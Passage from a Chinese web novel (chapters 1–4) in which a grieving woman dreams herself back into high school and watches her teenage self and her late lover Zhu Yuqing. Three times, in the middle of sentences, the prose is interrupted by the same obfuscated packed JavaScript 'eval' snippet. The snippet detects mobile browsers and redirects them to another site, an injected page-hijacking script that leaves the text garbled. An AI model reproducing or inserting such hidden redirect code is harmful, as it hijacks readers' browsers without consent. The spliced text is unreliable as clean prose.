《这根本不是救赎公式》 1. chapter 01 祝与青 【立如芝兰玉树,笑如明月入怀】——《白石郎曲》 “叮叮叮——” 刺耳的上课铃声突兀的响在耳边,对面楼层里不知犯了什么错被罚站走廊的学生低垂着头,以不小的力度互相推搡着。 烈阳从走廊斜穿,在阴暗处留下一片光影,楼下的香樟树在太阳的照射下闪着细碎的光。 诗久夏被太阳晃了下眼,抬起手挡了挡。 烈日的走廊下不止站了她一个人,等眼里的黑点尽数散去,诗久夏自然而然的将目光转向了栏杆边的另一个人,想要看看这么热的天气里,谁会不怕黑的在走廊上晒太阳。 身旁的女孩比她稍微矮些,蓝白色校服外套干净整洁,拉链拉到锁骨,袖口挽至手腕,头发是高中时代最流行的八字刘海高马尾,头微微往外伸着,似乎是在往楼下查找些什么。 她的角度只能看见女孩的侧脸,诗久夏却疑惑的挑了挑眉,不知是她像她还是她像她,从侧脸看,两个人有着一张极为相似,甚至说几乎一模一样的脸。 只是对方的脸看起来更为稚嫩些,还未完全长开,表情和动作间还带着少年人独有的活泼和轻快。 “久夏——” 一个刻意压低过的声音着急的喊着她。 “灭绝师太快来了,快点,到晚了又要挨骂了。” 听见熟悉又陌生的声音,诗久夏和站在栏杆处往下张望的女孩一起回过头,去看发出声音的人。 一个熟悉到不能再熟悉的人。 诗久夏有些诧异的看向方惊芜,眼底掠过一抹新奇,刚要开口询问自己和她怎么来了这里,她又为什么穿着高中校服,却敏锐地发现对方的目光并没有停留在她身上。 顺着对方的视线看去,诗久夏的目光落回了旁边人的身上。 刚刚还在往下张望的女孩和她一样转头看了眼蹲在教室后门处低声提醒她的人,应了声好,抬脚走向了理科一班的教室。 高马尾跟着她跑动的脚步小幅度摇晃着,地面带着烤人的温度。 楼道里传来几道有些模糊的男声。 “让你爸把学校里的厨子换了吧,真的太难吃。怎么有人连土豆都做的那么难吃。” 好似有人说了句什么,不过那声音很轻,诗久夏听不清。 另一道声音紧接着传来。 “我高三不会既要吃学习的苦,还要吃食堂的苦吧?” 距离拉近,那些被塞了棉花的声音逐渐清晰起来,这次她听到了另一个人的声音,有些冷。 “学习的苦你也没吃。” 说话的人似乎是被他噎了一下,有些不服气的继续怼:“那说明我天生享福命。” “天生享福命?那让你家里的阿姨天天中午送饭到学校来。” 几道笑声传来,回答的人语气忽然激动,“你想让我被我爸直接打投胎是吧?” 诗久夏还在皱眉回忆这是谁的声音,两道喊声忽然同时传来,女孩往前走的脚步也一顿,俩人抬头的动作出奇的一致。 “久夏?” 空旷的走廊间窜上五个人影,都穿着白色篮球服,前后两排站着,个子竟都出奇的差不多。 “不是响铃了吗?你怎么还没回教室?” 走在第一排靠栏杆处的人出声,和刚刚楼道里的说话声一样。 她身侧的女孩应声,“我在找你们。” 女孩张张唇,快速的交代起自己要说的话来:“过段时间的运动会你们得报名,我们班还缺不少人,待会儿你们看看要报些什么项目,找体育委员填表……” 更多的话站在栏杆边的她已经听不清了。 她前面的女孩是诗久夏,那她是谁? 她不是在给祝与青扫墓吗?为什么会在这? 喊她的方惊芜为什么穿着高中时的校服? 她为什么会出现在高中学校? 还有…… 诗久夏紧紧盯着第一排里正中间的人。 坎肩球服外露出的肌肉毫不夸张,匀称而有力,微垂着的右手臂上竖着一条二十几厘米的长疤,在他冷白色的皮肤上显得格外狰狞,配合着没什么表情的脸,透出种不近人情的冷意。 他微微侧着身子,似乎是在听旁边的人说话,额前和后颈处的头发湿的厉害,明显是打完球后用冷水洗了脸和脖子,此刻又微微低头看向她。 她终于想起了那是谁的声音。 祝与青。 十八的祝与青。 一阵强烈的电流声穿过耳朵,像一下子踩空,胸腔里的心脏跟着狠狠一坠,诗久夏几乎听不见周围人的声音,视线里只有那个年轻了快十岁的身影。 没有任何前兆和预告,二十七岁的诗久夏就这样措不及防的和十八岁的祝与青对上视线。 明明只是一秒的事情,却好像被无限地拉长了,足够诗久夏看清记忆中那张已然开始模糊的脸。 祝与青有双很好看的眸子。 接近于黑,却更像深蓝色的宝石,会跟随着心情变化,让人轻而易举地窥见主人的情绪。 以前祝与青想亲她却又不好意思时就爱用那双漂亮到堪称惊艳的眼睛望着她,等她发觉,然后送他一个吻。 不过此刻对方那双漂亮眼睛的凝聚点似乎也不在她身上,诗久夏怔愣片刻后若有所思地抬起头,看向了那个停在教室门口的女孩。 对方背对着她,视线正对着看向她的祝与青。 “这次运动会项目这么多?” 祝与青身后的男生出声。 寸头,五官立体,透出来的气质却很柔和,皮肤很干净,没有困扰大多数正处于青春期学生的青春痘。 和他并排走在一起的男生也微微仰起头,说话声音很小,语气几乎祈求:“这次别给我报铅球了……” 这句话音落下,第一排靠栏杆的人忽然弯腰笑起来。 “上学期到底是那个损人给斯郁报的铅球,抛得他人快留在铅球场了。” 说着他搭上旁边人的肩膀,声音贱嗖嗖的:“如果不是祝与青在睡觉,我真的要怀疑是他干的了。” 被他搂住肩膀的人眼都懒得抬,直接送了他自己的两字简言。 “滚开。” 第一排靠里的那个人也笑起来,面无表情的脸因为嘴角带上的笑意亲近了许多。 诗久夏就这样静静地打量起了祝与青身侧那熟悉的不能再熟悉的四个人。 都是老熟人啊…… 几乎没有变化的气质,每个人脸上熟悉的不能再熟悉的表情,嘴角勾起时的弧度,下意识的动作。 这么一看,其实长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502246|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的他们和现在相比差别不大,只是少年独有的青涩被社会慢慢磨成了成熟。 故友重逢,竟是这样的场景。 教室里叽叽喳喳的说笑声响成一片,正往她跟前走的祝与青没得到回应,抬起眼,薄唇轻启,朝她做了个口型。 ——“怎么还没回教室?” 不,准确来说,是朝十七岁的她做了个口型。 ……她好像,做了一个梦? 在这场梦里,她用二十七岁的身体回到了十七岁的自己身边,见到了早已消失在记忆里的,十八岁的祝与青。 站在门口正看着他的女孩神色忽然紧张起来,似乎是想提醒他些什么,却被人打断。 一声更为凌厉地喊声忽的从祝与青身后传来,高跟鞋的哒哒声紧接而至,空气中似乎都带上了某种剑拔弩张的火药味。 “诗久夏,方惊芜,祝与青,斯郁,谢敬,路谨言,裴逢——” 世界在一瞬间安静了,隐隐透着怒火的声音听的走廊上的几个人虎躯一震,条件反射的把背打直,就连二十七岁,早已脱离校园的诗久夏都僵硬起来。 如果要问成绩好,长的好,家境好,性格好,几乎从没吃过苦,事业有成,甚至连爱情都没吃过苦的诗久夏,有什么东西会让她畏惧,下意识地低下头的话。 高中时的这位老师应有一席之地。 在未知的情况下等待的每一分每一秒都是一种煎熬,格外重的一声“啪嗒”落入耳中,高中时期的噩梦终于走到跟前,那怕是十七岁时天不怕地不怕的诗久夏也缩了下脖子。 不自觉的往后退了一小步,诗久夏低着头老老实实的准备挨训。 当然,安分下来的人不只只有诗久夏,在家中做惯了大少爷,要风得雨,要雨得风的祝与青也一样。 听到喊声的一瞬间,祝与青瞳孔一缩,透出某种从灵魂深处传来的恐惧,丝毫没有刚才送人“滚开”时的霸气,飞快地认怂,低头装乖。 旁边的路谨言倒是看热闹不嫌事大,快速凑到祝与青身边说了句:“大少爷自求多福吧,你今天的好日子就到……” 呵斥声打断了俩人的嘀咕。 “反了天了是不是?听不见上课铃响?整个班就你们最吵!我在对面楼都听得到你们的讲话声!” 没有人敢在这时火上浇油地问上一句,“对面哪栋楼?”,教室里的人也不敢在这时候触“灭绝师太”的霉头,纷纷端正了坐姿,把书摆在桌面上,安静地低下头装鹌鹑。 熟悉的话隔着很久很久的岁月,清晰的从时空的缝隙中传来。 二十七岁仍站在走廊栏杆处的诗久夏平静下来,忽的接受自己做了这么一个梦的事。 甚至非常好心情的清清嗓子,学着“灭绝师太”的下一句话。 “祝与青!你们几个天天拿着个球就是拍拍拍,去打NBA吧,还来读什么书?” 果不其然,下一秒“灭绝师太”盯着祝与青低下的头,激动的唾沫横飞: “祝与青!你们几个天天拿着个球就是拍拍拍,去打NBA吧,还来读什么书?” 被呵斥的祝与青头也不敢抬,试图把自己的存在感降到最低,又将怀中的篮球往身后藏了藏,透出股低眉顺眼的感觉来。 “对不起老师,下一次我不拍了。” 2. chapter 02 继承制 浅黄色波浪卷里夹杂着几根白发,搭配粉调口红,眉毛被细心搭理过,甚至还用眉笔浅浅勾勒了几下,条纹长裙没有将她衬土,和脚上的黑色小粗跟相搭,反倒把她显得年轻了许多。 祝与青废话不多说,一秒不敢耽搁的顺着张婷红的话出声道歉。 但了解他们如灭绝师太,怎会不了解这群人的想法。尤其祝与青这种常年在他面前装听话的人。 她冷哼一声,吊着眉毛,握在手中的书随着她的动作来回晃,像是下一秒就要戳在谁头上:“是,你下一次踢足球,再下一次打乒乓是不是?” 这下祝与青没敢答了,什么话都不敢说,一米八几的人,愣是露出了自己从未有过的窝囊样。 一看对方的表情,张婷红就知道自己铁定是猜对了,随即毫不留情地讽刺道:“你这副样子,真不愧是祝页鸣的儿子。” 她似乎是要把对祝与青所有的不满都发泄出来似的,从他打篮球到头发穿着,性格,统统拉出来批了一遍。 听的旁边同行的人抿紧唇想笑不敢笑,生怕发出的笑声影响到张婷红,对方转移战火向他们“开炮”。 十七岁的诗久夏也低着头,悄悄抬起眼去看祝与青的神色,笑的整个人一抽一抽的发抖。 二十七岁的诗久夏没有这些顾忌,站在栏杆边看着对方老实听训的样子,又瞄了一眼旁边看热闹的一群“损友”,轻笑出声。 甚至边笑边调侃:“你们几个真是一丘之貉。” 笑够之后她又停下来,去看对方的眉眼。 她应该是在祝与青的墓前做了一个梦,梦见她穿越到了高中时代。 很新奇。 诗久夏不知道该怎么形容这种感觉,像在看一部以自己和祝与青为主角的电视剧,让她有些想笑又有些怀念,不由自主地回忆起高中生活来。 祝与青对“灭绝师太”的恐惧应该来源于高一开学。 灭绝师太姓张,叫张婷红,临近退休的年纪,身体硬朗,脾气火爆,堪称炸药包。 高一开学在九月一号,开学前一天几个和祝与青玩的不错,正准备出国读高中的大少爷约了她和祝与青吃午饭。 她因为中途有事没去成,没料到那群人趁着她不在直接从中午喝到了晚上,硬是打着“坐牢前的最后一天自由时光”把祝与青灌成了不认识妈的醉鬼。 等诗久夏忙完自己的事去找祝与青时,对方已经软成了一摊烂泥,愁得她压根没空去管一天几百条消息的班级群。 等她把没骨头一样的祝与青弄回家时,已经精疲力尽的躺在沙发上抬不起手了。 于是俩人就这么错过了班主任下午发在群里,让剪头发的通知。 谁知就是那么巧,报道当天班主任有事没走开,接收他们的人成了张婷红。 这位可不像其它老师,大事能化小,小事就当放你一马。 彼时祝与青还在因为昨夜的宿醉头疼的没心思听人说话,撑着头坐在她旁边两耳一闭,什么都不管的睡。 “学生会在检查隔壁班级的仪容仪表了。” 班级里刚通过选举的班长看着窗外喊了一声,下意识开始观察班级里有没有头发不合格的。 没成想这一看,就看到了祝大少爷过长的额发。 眼神停顿了俩秒,新任班长直接呆在原地不知道该咋办了。 学生时代小道消息的传播速度简直快到令人发指,早在祝与青初中还没毕业时,对方要来这里读书的消息就传遍了整个学校。 上到已经毕业的,下到还没来得及入校的,都早早的对这位少爷的身份和家世有所耳闻了。 这位新任班长也不例外。 真是造孽,上任第一天就遇见这种不敢说也不敢管的烫手山芋。 学生会马上走到门口,让对方现在请假出去剪头发肯定是来不及了,所有人都做好了老实挨扣分的准备。 结果没想到就众人呆滞的这两秒,代替班主任接收她们的张婷红直接走上前拿着把不知从哪里薅来的剪刀。 把还在撑着头睡觉,丝毫不知道自己已经成为目光中心,且头发,脸面,人设,危急的祝与青大少爷的头发给剪了。 等他察觉到不对劲抬起头时已经来不及了,张婷红站在他面前,手里还揪着几缕头发,看他的眼神欣慰而满意。 像在看自己亲手而作的艺术品。 于是就在当天,一向体面的祝与青收获了人生中一个狗啃发,获得了出生十八年来,从未有过的丑发型。 丑的泰山崩于前而面不改色的祝与青差点没维持住自己的平静。 就连一向严肃,来检查仪容仪表的学生会学长对上他的头发都没忍住噗嗤一声笑了出来。 可见头发丑的有多滑稽。 可怜如祝与青这位人还没来,名声就早已打响的大少爷,在来的第一天就凭本事,以自己的狗啃发把所有学生对他的富少滤镜打碎,再次以“草莓头少爷”闻名学校。 甚至直接打破了众人对祝与青“生人勿进,熟人更是滚开”的高冷感。 更让人窝囊的是,祝与青没处告状。 张婷红属于典型的:“人走她还在,孙子还她带” 好巧不巧,祝与青他爸,祝页鸣也是她教的。 虽然祝与青怀疑这其实根本就不巧,这就是他爸因为某天他给她妈吹耳边风后,给他的报应。 就是他爸故意报复他。 祝页鸣年少时也在这位老师手下吃了不少苦,尤其这位老师非常看不惯祝页鸣的作风,能从各种犄角旮旯里找出错误来念叨他,三天骂他二十遍更是常事。 天可怜见,这俩父子其实真没干过什么太过分事。 但就是没辙,祝与青和祝页鸣俩父子都只有挨骂的命。 所以张婷红对祝与青的“关照”大概是继承制的。 祝与青顶着那头没眼看的发型回家当晚,祝页鸣差点没给笑死在自家老婆怀里,笑够之后才对他的遭遇深表同情,但无动于衷。 并且非常高兴自己吃过的苦能让自己儿子再吃一遍,所以特意嘱咐了校领导,祝与青是他儿子,请不要“刻意”“关照”。 还给学校捐赠给了两栋教学楼。 因此,学校非常遵从祝页鸣“想让儿子吃吃苦”的意见,好好的“关照”起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502247|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了祝与青。 让祝与青也获得了祝页鸣同等的待遇——受全校大大小小所有老师的特别关照,偶尔还能得几块粉笔吃。 而其中最关注祝与青的就是张婷红这个,不偏爱女生也不偏爱男生,上到校领导下到学生,对所有人无差别攻击的传奇人物。 之前曾有好事的学生统计过自认识这位老师起,是否有一位学生见识过这位老师无攻击力的时候。 只是统计结果倒是一点不让人惊讶:据完全统计,没有。 就读过这所学校的学生多多少少都有些害怕她,也见识过她“大开杀戒”的模样。 这时教室里看热闹的人也有些憋不出了,纷纷开始小声议论起来。 男生声音唏嘘,压得很低:“我一看见祝与青落在灭绝师太手里,就知道这节课至少可以少上十分钟了。” 和他搭话的男生瞅了一眼后门,脸上的笑愈发显眼。 “祝大少爷这辈子没这么挨过骂吧?来读这个书也算是圆满了。” “可怜久夏这次也被逮住了。” 一道女声插了进来,眼睛还在不停往诗久夏的方向张望。 “说到久夏,第三次月考的成绩是不是出来了?打个赌吧?” 男生忽然兴奋起来,从兜里掏出一张二十元的现金,十分“豪迈”地拍在了桌上,做出了二十万的气势。 “押久夏第一!” 旁边的女生赏了他一个白眼,有气无力的拿起书盖住半张脸,语气里全是敬佩。 “谁不知道她是第一?这马上两年过去了,变过吗?” 教室里的闲聊声越来越大,已经从他俩的家庭讲到了成绩,甚至开始分析起谁家的股权更值钱。 说的一本正经,头头是道。 诗久夏听着“灭绝师太”对着一群人又是一顿输出,久久地站在原地没有动作。 她其实已经不太记得这些了,准确来说是已经快把这些忘记了。 祝与青去世后她曾很多次的去回忆之前两个人在一起时的记忆,可脑子好像总是在和她唱反调。 那条被炸飞的船带走了祝与青,也带走了她们相爱时的记忆。 她越是想记得,想记起,不想忘记些什么,什么就会从她的记忆里变的模糊,开始忘记。 就连原本清晰,才发生不久的事也会开始模糊。 她其实有些怕,怕自己忘记她和祝与青的过去,就像忘记外婆生前抚摸过她的那双粗糙干裂的手,忘记自己曾那样活在爱中,直至最后只记得名字。 可能是她这辈子太顺利了,没吃过太多苦,她没法坦然接受爱的人从生命中离开,最后消失在她的记忆里。 门口的人还在听训,走廊边罚站的人也朝这边望来,各个教室里都隐约的传出讲课声。 一节课过去快十分钟,“灭绝师太”才终于停下自己的念叨,没好气的把一群人赶回教室,还不忘说一句每节课必说的: “你看看你们耽误了多久,一个人耽误一分钟,四十五个人就耽误了四十五分钟,一节课就过去了!” 丝毫不管他们班其实根本就没有四十五个人。 3. chapter 03 跑不了 教室后门没关,一群人走进教室后,诗久夏也跟着从后门走了进去。 高跟鞋的哒哒声有规律的以相同的频率响在教室外的走廊上,太阳仍是烈的可怕,聒噪的蝉鸣声吵得人心烦,楼层下的香樟维持着很多年前的高度,再没变过,令人昏昏欲睡的读书声和老师怒其不争的劝导,像某年的回望。 学生时代的“天罪”,无疑是谈恋爱。 为了防止那位男同学和那位女同学同桌坐着坐着就日久生情成了情侣,班主任仍采用了最简单也最方便的方式,直接从根源一刀断,切断了种子萌芽的可能性: 同桌只能是同性别的人。 这种方式有没有有效预防到早恋诗久夏不知道,但很有效的隔绝了夏天某些萦绕于身的汗臭味和脚臭味。 回到座位,刚提醒她快点回教室后跟着被喊了名字,火速窜回教室的方惊芜觑了她一眼。 朝她做了个鬼脸,对方又恢复了以往的小太阳模样,半点不见刚刚挨骂时的乖巧。 她压低声音,扯扯诗久夏的袖子,抓紧时间和她说小话。 “灭绝师太简直恐怖,不知道她到底知道多少这种话,简直可以说三十分钟不重样。” “你和校领导商量商量,搞一个老师和学生之间的脱口秀吧,这冠军简直非她莫属。” 方惊芜边说边瞅台上人的眼色,在张婷红看过来时及时噤声。 十七岁的诗久夏没忍住笑出声,二十七岁的诗久夏却盯着对方那双笑起来像是放着一朵太阳花的眼睛恍了神。 长大后的方惊芜其实没怎么变,自信明媚,不过由于她工作的保密性,彼此碰面聊天的机会少了许多,虽说聊到让人开心的事情时仍会笑,却始终和高中时不一样了。 这么生动活泼有少年气的一切,都像上辈子的事了。 而另一头被从头到尾损了一顿的祝久青坐回自己的位置上,把球搁在脚下,同样摸出物理课本乖乖听课,不敢再造次。 被骂虽然是家常便饭,但他还是没法在张婷红的威压下和她对着干。 路谨言把课本翻到张婷红该讲的那一课,脸上的笑还没收干净,回想起那一顿损又是好一通憋不住的笑。 “兄弟,你知道吗?只要有你在,张婷红根本想不到骂我们几个。” 拍拍祝与青的肩,路谨言叹息道:“好兄弟在心中啊!” “真是辛苦兄弟了。”越说越崩不住,路谨言声音都开始颤抖起来,“……您的恩情我们铭记一生啊。” 这次祝与青抬眼,赏给他一个“核”善的眼神,又送了他两字简言,言简意赅。 “去死。” 说完祝与青没再搭理路谨言,任他一个人傻缺一样在那乐。 湿润的手臂挨在课本上,不小心把课本上的字迹晕成一片,祝与青看着黑色的一团微蹙起眉,将打湿的页面立起轻轻吹了吹。 祝与青很爱惜自己的书,从小学到高中的书,不管有用的还是没用的,他全都整理收纳了起来,保存和使用也都小心,几乎没有破损和明显的折痕。 相比之下那位青梅竹马,和他天天互呛的“冤家”诗久夏,在这方面则有些没收拾。 倒不是爱乱放东西,只是记性不太行,老是忘记自己的东西放在了哪里。导致要用某些东西或者找书时总是找不到。 这时她就会直接冲到四合院对面的那间屋子里。 忽略掉坐在书桌前的祝与青,直直走到对方堆书的地方,一骨碌坐在地上开始翻找自己要用的书。 祝与青也早已习惯了她的丢三落四,并且在屡次提醒她不要坐在地上找书,始作俑者拒绝执行后,给自己的整个卧室都铺上了白色的毛绒地毯。 盯着模糊到已经看不清写了什么的字迹,祝与青忽然想起什么,皱着的眉松开来,从抽屉里摸出自己的校服外套,熟练的把手的伸向口袋。 不出意料的从里面摸出一包手巾纸,从里面抽出一张后,祝与青将纸巾平铺在了页面上,小心翼翼的按压下去,将书本上的水吸干。 随后他怔怔的看着手中已被墨迹沾脏的纸,想到了它的来处。 ——祝与青从小就没养成爱带纸的好习惯,小学时诗久夏就提醒过他很多次了。 不过很遗憾,和诗久夏爱随地大小坐一样,祝与青就是永远记不得带纸。 于是小学时诗久夏就会在临出门前从玄关处放着的各种图案和香味的手巾纸中随机摸出两包。 并在同行的路上自然而然的把手揣进祝与青的衣兜里。将纸放进去,再从头同一个兜里摸出些小零食。 这似乎就成了一个再平常不过的小习惯。 她习惯在出门前拿两包手巾纸,祝与青也习惯了在需要用纸时去摸自己的外套口袋。 班级里的座位两周换一次,这次诗久夏在她左前方,祝与青将用过的纸巾叠好放进抽屉,抬眼去看对方挺得笔直的背。 诗久夏仪态很好,站和坐都规矩,除了累得不行时会趴在桌上,大部分时间她都是标准坐姿。 不过自律的原因倒不是为了追求漂亮,纯粹是小时候被妈妈吓多了,怕脊椎旁扎钢钉。 方惊芜在勾她放在桌下的左手,诗久夏面上无波无澜一副认真听课的样子,却在老师看不见的地方时不时动动方惊芜握住的指尖。 祝与青出神的看着对方的侧脸,收回视线时瞟到了张婷红送他的一个“好自为之”的眼神。 稳住心态,祝与青毫不心虚的回望过去,还不怕死的朝张婷红点了点头,把注意力重新放回了书上。 张婷红虽然有些念叨,但教学能力真的挑不出错,从哪里容易错,到哪里错的多,哪里可能会考,会怎么考,以什么题型考,押准率高达百分之九十九。 因此大家虽然每天都在上课时乱嚎,但真到上课时全都打起了二十分的精神听课。 下课铃响起时,诗久夏还没来得及把注意力从张婷红身上收回,就被方惊芜抓着往一楼的光荣榜里跑去,根本不给诗久夏说话的机会。 今天是第三次月考公布成绩的日子,学校的布告栏里会张贴各个年级排名在前五十的学生。 并在上面按照排名附上每个人的照片,人生格言,以及分数。 又被一中学子戏称为“名人排行榜”。 这种热闹的时候看成绩的人自然不少,方惊芜带着诗久夏冲的急,到一楼时光荣榜前围着的人还不算特别多。 顺着缝隙钻进去,诗久夏被带着挤到光荣榜前时甚至没先看自己在那个名次,而是伸手去提了提自己的裤子。 “我……”诗久夏扯了扯方惊芜的校服,想让她等一会儿,好不容易发出的声音却被周围的讨论声淹没,手也在推搡中被拦下,偏偏这个时候她又没法大喊对方的名字。 额角急得快冒出汗,诗久夏这次是真的怕了,她不想在这么多人面前掉裤子!!! 兴致勃勃地冲到最前面的方惊芜丝毫不知诗久夏的恐惧,瞧见第一名那张熟悉的照片,又一下子跳到还没来得及扯好裤腰的诗久夏身上,不停晃着她的肩膀,激动地大喊。 “又是第一!!!我就知道你绝对是第一!!!” 顾不上可能在众人面前颜面净失的窘迫,诗久夏被方惊芜的动作惊了一下,急忙把抓裤腰的手腾一只出去扶对方的腰。 生怕对方一个激动,脑袋摔地上砸个大包。 稳住对方的身形,诗久夏看了眼光荣榜上紧挨在她身后的照片,护在方惊芜后腰的手安抚性的拍了拍,“惊芜老师也很厉害啊,铁打不动的第二名。” 围在光荣榜旁的女生大多都对俩人熟悉,朝俩人的位置看过来,声音里带着笑意,一声一声的道喜。 “久夏惊芜好厉害!” “恭喜久夏和惊芜,又一次包揽前二。” “这次期末考完,你俩就蝉联两年第一第二咯!” “久夏,不会的题下节课结束我来问你!” 诗久夏和方惊芜俩个都是人缘好的,人也和蔼大方好说话,都是好相处有钱没架子的性格,学校里的大多数学生都愿意亲近。 诗久夏又是学生会主席,理科一班的班长,平时和她们交道打的不少,再加上俩人成绩也好,在学校也算是无人不晓了。 大家都习惯了光荣榜上万年不变的前三,倒是对这固定的排名无波无澜了,真心的恭喜几句也回教室继续补觉去了。 反倒是方惊芜还高兴着,小狗一样的把头埋在诗久夏颈窝里不停的蹭,兴奋的能当场跳一支拉丁,听到祝贺声就一直重复谢谢,把其他人逗得笑个不停。 十七岁的诗久夏还顾及着自己的脸面危在旦夕,一只手有些招架不住,只能尽力护住在自己怀里扑腾的人。 二十七岁的诗久夏则是看着自己一边抓裤腰一边抱人的动作捂嘴直笑。 当时她是真的没发现这个动作这么滑稽。 学校的校服一直都属于包容所有身材的常规款式,十七岁的诗久夏已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502248|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经有一米七了。 为了顾及长度不让九分裤变成七分裤,不得不买大一码,不过这也就意味着裤子对她来说会松太多太多。 以往她都会在穿衣服时在裤腰上拴好腰带,但昨晚她被祝与青和方惊芜拉着打斗地主,一个没注意玩兴奋了,结束后半夜都没能睡着。 睁着眼到凌晨三点才产生困意,闭眼睡觉。 后面的想也不用想,她毫无疑问的起晚了。 并且是起的非常晚。 晚到一向磨蹭的祝与青都收拾好了自己的书包走到庭院里,还没见她来。给她打电话也没人接,最后是直接敲她的卧室门才把她叫醒。 为此,产生了高中以来第一次祝久青等她的例子。 彼时的诗久夏在手忙脚乱里抽出时间呛了他两句,问他是不是故意耍诈,让她起晚,又加快速度,把两只手都用出残影。 至于为什么她要呛祝与青……当然是因为他和她是冤家。 至于为什么是冤家,那就要问问祝与青为什么总是和她妈告她状了。 一边手忙脚乱的收拾,一边看着对方面无表情的等在门外,诗久夏理所当然的忘记了放在洗手间里的皮带。 等她反应过来裤子不对劲时,已经来不及回头去拿了。于是除了刚刚走廊外的一遭,她今天一天基本上坐在座位上没动过。 方惊芜蹭够她,从她身上跳了下来,又把视线转回光荣榜,佩服的说了句:“久夏,你真的好厉害。” 荣誉墙做的很宽,最右侧几乎被各种各样的奖状塞满,左侧是一块白色的背景板,光荣榜三个字宋体居中。 下面跟着十二张红底的证件照。 光荣榜上的第一张照片是张美的极具辨识度的脸,五官精致,好看的丹凤眼微微往上扬着,嘴角带着笑意,左眼眼尾有颗不太明显的小痣,梳着高高的马尾,额边的碎发乖巧的垂着,穿着学校的蓝白色短袖校服。 而她的照片下,人生格言处留着一句∶ ——“于是,不惧一切” 十七岁的诗久夏。 阳光明媚。 紧随其后,光荣榜上的第二张照片,是十七岁的方惊芜。 巴掌大的一张脸,漂亮的像橱窗里的洋娃娃,大概是因为刚运动过,脸颊处还泛着些薄红,脸上有两个小小的酒窝,头发刚好齐肩,笑的大方得体,不难从中看出对方的朝气,以及照片中的这个女孩的身体里,有着怎样生动有趣的灵魂。 她的照片下写的是一句极具个人主义风格的话: ——“哈!当你看见我的时候,已经没有机会超过我啦!” 而光荣榜上的第三张照片,和前面两张照片相比,就明显有些出戏。 男生微微抿着唇,表情有些严肃,眼睛一眨不眨的盯着镜头,貌似和摄影师有什么深仇大恨。 而与对方的表情明显不同的是…… 对方头上顶着的狗啃一样的头发。 证件照是在开学后的第四天拍的,头发惨遭“灭绝师太”毒手的祝与青就这样丢了所有里子和面子。 他的头发显然没有那样快的生长速度,不能如他所愿恢复之前的长度,让他体面的拍下贯穿高中三年的照片。 于是他就这么带着自己的狗啃发留下了这么一张滑稽风满满的证件照。 照片都这样了,要让他写什么人生格言,祝与青显然也写不下去什么深沉或者装逼的句子。 甚至不敢想象自己顶着这个头发的照片被别人看见时会是怎样的脸面尽失。 更是没有勇气去想这张照片下要是顶着一句装装的句子,会是怎样一种引人发笑的程度。 于是祝与青再次惨失立下自己高冷人设的机会,只得在下面留了一个“。” 掩面(痛苦)离去。 看见前三还是那三个熟悉的不能再熟悉的人,诗久夏收回了目光,且记起了自己现在是怎样一种窘迫,拉了拉方惊芜的手,想回教室。 然而她刚拍了拍方惊芜的手,还没做其他动作,右手掌心就被塞进了一个拇指大小的金属物体。 带着一点温热。 诗久夏回过头,在她下楼时还坐在座位上的祝与青和路谨言正站在拥挤的人潮里,仗着身高优势挤到她身后。 祝与青没抬头去看光荣榜,而是指了指刚递到对方手里的别针,又指指她还忙着提裤子的左手。 “先去处理一下再来看。” “第一是你的,跑不了。” 4. chapter 04 落难期 十七岁,诗久夏觉得祝与青是一个很好很好的人。 对方会站在她身前替她挡下所有危险,会绕很远很远的路,去买她随口说的一句想吃的零食。 会在她生理期痛的直不起腰时走向自己一直讨厌的厨房,做些高蛋白的食物喂她。 会在她一个人回家,怕她不安全时看着时间去接她。 会因为她的某个突发奇想,和她一起骑很远很远的自行车,找到一片草地。 种下一颗银杏树。 也会像现在这样,在她窘迫时,递上一个刚好能解决问题的东西。 二十七岁,诗久夏仍觉得祝与青是一个很好很好的人。 对方十年如一日的爱她,不耐其烦的处理着生活中大大小小的琐事。回家时家里亮着的灯,饭桌上的热饭,沙发上等的睡着的爱人。 他仍继续做着那些早已成为习惯的小事,为她准备大大小小的惊喜。 即便不说,也能让她知道,不要害怕,他在身后。 祝与青太好了。 祝与青其实一直都很好。 这个梦有些太长了,二十七岁的诗久夏想。 久的再不结束,她又要流下眼泪来。 摸着手里的硬物,十七岁的诗久夏看了一眼对方的校服兜,似乎有些不太明白对方是从哪里变出来的东西。 但她没有问,只是把别针递到对方面前,非常严肃的鞠了一躬,表达自己的感谢。 紧接着拽着自己的裤子,拉着方惊芜急匆匆的往厕所里跑。 等两个人的身影消失在楼梯的拐角处,站在一旁一直没说话的路谨言才重重拍了拍祝与青的肩膀,满眼戏谑。 “翻墙出去买别针,以后这种“好事”可别再拉着兄弟们干了。” 